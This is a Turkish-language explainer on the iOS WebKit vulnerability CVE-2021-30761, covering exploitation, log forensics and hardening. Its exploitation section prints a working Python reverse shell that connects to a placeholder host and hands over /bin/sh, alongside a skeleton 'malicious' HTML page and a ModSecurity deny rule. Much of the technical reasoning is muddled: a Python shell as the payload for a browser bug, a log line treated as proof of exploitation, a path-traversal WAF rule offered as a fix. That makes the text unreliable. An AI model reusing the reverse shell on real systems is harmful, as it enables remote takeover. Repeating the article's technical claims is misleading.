CVE-2021-30761: Apple iOS WebKit Memory Corruption Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2021-30761, Apple iOS işletim sistemi üzerinde yer alan WebKit bileşeninde keşfedilen bir bellek bozulması (memory corruption) zafiyetidir. Bu zafiyet, kötü niyetli şekilde hazırlanmış web içeriğinin işlenmesi sırasında kod çalıştırmaya (code execution) olanak tanır. Zafiyetin varlığı, Apple'ın Safari tarayıcısı gibi WebKit'i kullanan HTML ayrıştırıcılarının (HTML parsers) güvenliğini doğrudan tehdit etmektedir. Ayrıca, WebKit kullanan diğer Apple dışı ürün ve uygulamalarda da benzer güvenlik açıklarına neden olabilir.

Bu zafiyet, 2021 yılı ortalarında keşfedildi ve Apple, zafiyetin güncellemeleri ile hızlı bir şekilde ele alındığını duyurdu. Ancak, zafiyetin etki alanı ve potansiyel saldırı senaryoları göz önünde bulundurulduğunda, kullanıcıların ve organizasyonların bu tür zafiyetlere karşı daha dikkatli olmaları gerekmektedir.

CVE-2021-30761’in kökeni, WebKit’in HTML işleme kütüphanesinde belirli bir kod parçasının yanlış yönetilmesi ve bellek üst sınırlarının aşılması (buffer overflow) nedeniyle ortaya çıkmaktadır. Bu durum, saldırganların, özellikle bir web sayfası üzerinde rastgele kod çalıştırarak kullanıcıların verilerine erişim sağlamalarına ve kullanıcı sistemlerine zarar vermelerine olanak tanır. Söz konusu bellek bozulması, web tabanlı uygulamalarda, tarayıcı üzerinde yürütülen HTML ve JavaScript kodlarının düzgün bir şekilde ayrıştırılmaması sonucu oluşmaktadır.

Gerçek dünya senaryolarında, bir saldırgan bu zafiyet aracılığıyla hedef kullanıcıların cihazlarına kötü amaçlı yazılımlar yükleyebilir veya hassas verilere erişim sağlayabilir. Örneğin, bir kullanıcı bir tarayıcıda kötü niyetli bir web sayfasına girdiğinde, saldırgan bu sayfa üzerinde yer alan zararlı kod aracılığıyla kullanıcı bilgisayarında yetkisiz işlemler gerçekleştirebilir. Bu tür bir senaryo, finansal hizmetler, sağlık sektörü gibi kritik sektörlerde büyük zararlar doğurabilir.

Ses getiren siber saldırılar, genellikle bu tür bellek bozulması zafiyetlerinin kullanılmasıyla gerçekleşmektedir. Saldırganlar, RCE (Remote Code Execution - Uzaktan Kod Çalıştırma) yetenekleri ile cihaz üzerinde tam kontrole sahip olabilir ve bu da finansal bilgilerin çalınmasına, kişisel bilgilerin ele geçirilmesine ve hatta ağ niyetli saldırılara kadar uzanabilir. Söz konusu zafiyet, kullanıcıların günlük işlerinde kullandıkları birçok uygulamada, özellikle de güvenlik duvarları ve anti virüs yazılımları gibi güvenlik çözümlerinden bağımsız olarak ciddi riskler oluşturmaktadır.

Apple, bu tür zafiyetlerin etkilerini azaltmak amacıyla sürekli olarak güncellemeler yayınlamakta ve kullanıcıları güncel yazılım kullanmaya teşvik etmektedir. Ancak, kullanıcıların da kendi güvenlik deneyimlerini artırmaları önemlidir. Bu bağlamda, güncel yazılım kullanmak, güvenilir kaynaklardan web içeriği almak ve bilinmeyen bağlantılara tıklamaktan kaçınmak, bu tür zafiyetlere karşı alınabilecek önlemler arasında yer alıyor.

Sonuç olarak, CVE-2021-30761 gibi bellek bozulması zafiyetleri, siber güvenlik alanında saniyeler içinde ciddi sonuçlar doğurabilen tehlikelerdir. Bu tür açığa sahip sistemlerin güvenliğini sağlamak, sadece üreticilerin değil, aynı zamanda kullanıcıların da sorumluluğundadır.

Teknik Sömürü (Exploitation) ve PoC

Apple iOS WebKit içindeki CVE-2021-30761 zafiyeti, kötü niyetle hazırlanmış web içeriğini işlerken bellekte bozulmalara (memory corruption) neden olarak uzaktan kod yürütme (RCE - Remote Code Execution) imkanı sunmaktadır. Bu zafiyet, özellikle HTML ayrıştırıcıları (HTML parsers) üzerinde büyük bir tehdit oluşturur. Safari tarayıcısının yanı sıra WebKit kullanan diğer ürünler de bu zafiyetten etkilenebilir.

Geleneksel olarak, bellek bozulması zafiyetleri, bellek yönetimi hataları ile ilişkilidir ve genellikle buffer overflow (tampon taşması) veya heap corruption (yığın bozulması) gibi durumlarla ortaya çıkar. Bu tür zafiyetler, kötü niyetli bir kullanıcının cihazda istenmeyen komutlar çalıştırmasına olanak tanır. Öncelikle, bu zafiyeti istismar etmenin temel aşamalarını inceleyelim.

Bir kötü niyetli kullanıcı, CVE-2021-30761 zafiyetini istismar etmek için öncelikle bir web sayfası oluştururlardı. Bu sayfa, hedef kullanıcının tarayıcıda açması için tasarlanmış zararlı JavaScript kodları içermelidir. Aşağıda örnek bir HTML sayfasının kaba hatlarıyla taslağını görmekteyiz:

&lt;!DOCTYPE html&gt;
&lt;html lang="tr"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;Zararlı İçerik&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;script&gt;
        // Kötü niyetli JavaScript kodu
        // Bellek bozulması oluşturan zararlı betikler
        maliciousFunction(); // Bu fonksiyon, bellek bozulması sağlayacak şekilde tasarlanmalıdır
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

Kullanıcının bu sayfayı açması sağlandığında, kötü niyetli JavaScript kodu, WebKit motoru üzerinden bellek bozulmasına neden olabilir. Bu aşamada, aşağıdaki adımlar atılabilir:

Bellek Bozulması: Zararlı JavaScript kodu, WebKit'in bellek yönetimi kısmını hedef alarak bellek bozulmasına neden olur. Bu bozulma, bellek içinde yanlış okuma veya yazmalara yol açar. Kullanıcı etkileşimleri sırasında, bu açık sayesinde kontrol dışı verilere erişilir.
Payload Geliştirme: Bellek bozulması sonucunda, kötü niyetli kullanıcı kendi kodunu (payload) çalıştırmak için bir yük (payload) geliştirme aşamasına geçer. Bunun için, bellek üzerinde yığın yapısına (stack) veriler yazabilir. Yazılan bu veriler, daha sonrasında bir işlenme (execution) sürecini başlatacaktır.
RCE (Uzak Kod Yürütme): Bellek bozulması ve payload'un başarısıyla, kötü niyetli kullanıcı cihazda istedikleri komutları yürütebilir. Burada, bir örnek yük (payload) şöyle görünebilir:

import socket
import subprocess

# Basit bir ters proxy sunucusu
def reverse_shell():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(('hedef_ip_adresi', hedef_port))  # Ters bağlantı için hedef IP ve port
    subprocess.call(["/bin/sh", "-i"], stdout=server, stderr=server, stdin=server)

reverse_shell()

Bu kod parçası, hedef cihazdan geri dönüş (reverse) bağlantı kurarak, kullanıcının istemcisinden komutlar almakta kullanılabilir.

HTTP İstek ve Cevapları: Kullanıcı cihazından gönderilen zararlı istekleri tespit etmek için, HTTP isteği ve yanıtlarını da incelemek oldukça önemlidir. Örneğin:

GET /malicious-page HTTP/1.1
Host: hedef_web_sunucusu.com
User-Agent: Safari/14.0

Yukarıdaki örnek, kötü niyetli bir web sayfasının hedef kullanıcıya gönderilmesi için kullanılan bir HTTP isteğidir. Bu tür bir isteğin gönderilmesi, zararlı içeriğin kullanıcının cihazında zarara yol açmasını sağlar.

CVE-2021-30761 gibi bir zafiyeti istismar etmek, yalnızca teknik bilgi gerektirmekle kalmaz, aynı zamanda etik ilkeleri ve yasaları ihlal etme riskini taşır. White Hat Hacker perspektifinden bakıldığında, bu tür zafiyetleri tespit etmek ve raporlamak, sistem güvenliğini artırma adına kritik bir rol oynar. Bu nedenle, etik hackerların bu tür zafiyetlerin peşine düşerek, onları herkesten daha hızlı bir şekilde kapatmaları ve sistem güvenliğini sağlamaları elzemdir. Kullanıcı güvenliğini sağlamak için gerekli her türlü önlem alınmalı ve güncellemeler düzenli olarak takip edilmelidir.

Forensics (Adli Bilişim) ve Log Analizi

Apple iOS WebKit üzerinde keşfedilen CVE-2021-30761 zafiyeti, kötü niyetli web içeriği işlendiğinde bellek bozulmasına yol açarak uzaktan kod yürütme (Remote Code Execution - RCE) riskini beraberinde getirmektedir. Bu durum, yalnızca Apple Safari gibi ürünleri değil, aynı zamanda WebKit’i kullanan diğer tarayıcı ve uygulamaları da etkilemektedir. Bu tür bir güvenlik açığı, kullanıcının cihazına kötü niyetli yazılım yüklenmesine ve buna bağlı olarak kişisel verilere erişilmesine olanak tanıyabilir.

Bir siber güvenlik uzmanı, bir saldırının yapıldığını SIEM (Security Information and Event Management - Güvenlik Bilgisi ve Olay Yönetimi) veya log (kayıt) dosyalarında nasıl anlayabilir? İlk olarak, bir saldırının izlerini ararken, belirli imzalara (signature) odaklanmak gereklidir. Bunun için, log dosyalarında göz önünde bulundurulması gereken birkaç önemli gösterge bulunmaktadır.

Öncelikle, Access log dosyalarında (erişim kayıtları), şüpheli isteklerin veya anormal trafik modelinin tespit edilmesi önemlidir. Örneğin, aşağıdaki gibidir:

192.168.1.10 - - [10/Oct/2023:14:00:00 +0300] "GET /malicious_payload HTTP/1.1" 200 5000

Yukarıdaki örnek, belirli bir IP adresinin (192.168.1.10) kötü niyetli bir yükleme gerçekleştirdiğini gösterir. Özellikle, URL içinde "malicious_payload" kelimesinin geçmesi, saldırganın başarılı bir şekilde zafiyetten yararlandığını gösterir. Çok sayıda aynı tür isteğin kaydedilmesi, bir otomasyon veya bot tarafından gerçekleştirilen bir saldırıyı da işaret edebilir.

Error log dosyaları (hata kayıtları) da gözden geçirilmelidir. WebKit zafiyetine ilişkin, hatalı bellek erişimleri ya da bellek hatası mesajları aramak faydalıdır. Aşağıdaki gibi bir hata mesajı, potansiyel bir ihlali gösteriyor olabilir:

Segmentation Fault: invalid memory access

Bu tür bir hata, WebKit’in bellek yönetiminde bir bozulma olduğunu ve dolayısıyla bir saldırının gerçekleştiğini gösterebilir.

Durumları izlemek için ayrıca belirli kullanıcı davranışlarına dikkat etmek gerekecektir. Sisteme gelen farklı IP adreslerinden aynı içeriğin düzenli aralıklarla talep edilmesi, anormal bir davranış biçimi olarak nitelendirilebilir. Bu durum unlogged access (kayıtlı erişim olmaksızın) veya auth bypass (kimlik doğrulamayı atlama) girişimlerini de gösteriyor olabilir.

Son olarak, bellek bozulmasını kapsayan anomalileri tespit etmek için çeşitli güvenlik araçları kullanılabilir. Örneğin, bir sistemde sürekli olarak bellek tarama uygulamalarının kullanılması, anormal kodların çalıştırılmasını tespit etmeye yardımcı olabilir. Bu tür araçlar, yetkisiz erişimlere karşı cebir takviyesi sağlayarak önceden belirlenmiş imzalarla (signature) uygunsuz hareketleri izleyebilir.

Sonuç olarak, CVE-2021-30761 gibi zafiyetler, siber güvenlik uzmanlarının dikkatli bir şekilde analiz etmesi gereken bir dizi log (kayıt) ve anormal davranış sunar. Doğru izleme ve analiz ile olası bir saldırının tespit edilmesi, güvenlik önlemlerinin zamanında alınması açısından kritik öneme sahiptir.

Savunma ve Sıkılaştırma (Hardening)

Apple iOS WebKit'te bulunan CVE-2021-30761 zafiyeti, hafıza corruptiyonu (memory corruption) sorunlarından biri olarak öne çıkmaktadır. Bu tür zafiyetler, kötü niyetli olarak hazırlanmış web içeriklerinin işlenmesiyle kod yürütmeye (code execution) neden olabilir. Sadece Apple Safari gibi tarayıcıların yanı sıra, WebKit’i HTML işleme için kullanan diğer ürünlerde de sistem genelinde etkiler yaratabilir. Bu noktada, özellikle siber güvenlik açıkları ve bunların olası etkileri üzerine yoğunlaşmak önemlidir.

Zafiyetin doğası gereği, etkilenebilecek sistemler profillemeler ve testler ile detaylandırılmalıdır. Gerçek dünya senaryolarında, örneğin bir kullanıcının zararlı bir web sitesine girmesi durumunda, bu tür bir zafiyet saldırganın doğrudan sistem üzerinde uzaktan kod yürütmesine (RCE - Remote Code Execution) olanak tanıyabilir. Bu, bir saldırganın hedef sistem üzerinde tam kontrol sağlayarak veri sızıntıları, veri bütünlüğü ihlalleri veya hizmet kesintilerine yol açmasına neden olabilir. Kullanıcıların tarayıcıda açtıkları basit bir bağlantının arka planda ne kadar tehlikeli olabileceğini görmek, siber güvenlik uzmanları için kritik bir öneme sahiptir.

Bu zafiyetin üstesinden gelmek için çeşitli önlemler almak mümkündür. İlk adım olarak, sistem ve yazılımlar güncel tutulmalıdır. Yazılım güncellemeleri, genelde güvenlik açıklarını kapatmak için kritik öneme sahiptir. Apple, zafiyetin olduğu sürümleri için hızlıca güncellemeler yayınlamaktadır. Bu nedenle, kullanıcıların ve organizasyonların, güvenlik yamalarını düzenli olarak kontrol ederek sistemlerini güncellemeleri önemlidir.

Ayrıca, Web Uygulaması Güvenlik Duvarları (WAF) kurarak, belirli kurallar oluşturmak faydalı olabilir. Belirli SQL enjeksiyon (SQL Injection) veya XSS (Cross-Site Scripting) gibi saldırılara yönelik kurallar eklenebilir. Örneğin:

# Kötü niyetli URL taleplerini engelle
SecRule REQUEST_URI "@rx (?:\/\.\.|%2e%2e|%2f|\/\.\.)" "phase:1, id:1000001, deny, status:403"

Yukarıdaki örnek, zararlı URL taleplerini tespit eder ve engeller. Bu tür WAF kuralları, CVE-2021-30761 gibi zafiyetlerin dışarıdan erişim sağlamasını zorlaştırır.

Bunun yanı sıra, benzer türden zafiyetlerin oluşturabileceği kalıcı etkileri sınırlamak için kalıcı sıkılaştırma (hardening) önerilerine odaklanmak yararlı olabilir. Sistemden gereksiz servisleri kapatmak, kullanıcı izinlerini gözden geçirmek ve varsayılan şifreleri değiştirmek gibi temel adımlar, sistem güvenliğini artırır. Ayrıca, güvenlik duvarı ayarlarının uygun bir biçimde yapılandırıldığından emin olmalıyız. Tüm bu adımlar, kötü niyetli aktiviteleri sınırlamak için temel önlemler sağlar.

Sonuç olarak, zafiyetlerin etkilerini en aza indirgemek ve sürekli güvenli bir çevre oluşturabilmek için hem yazılımları güncel tutmak hem de sıkılaştırma uygulamak hayati öneme sahiptir. Siber güvenlik uzmanları, kullanıcıları bu tür zafiyetlere karşı eğiterek, sağlıklı bir güvenlik kültürü oluşturmaya katkıda bulunmalıdır.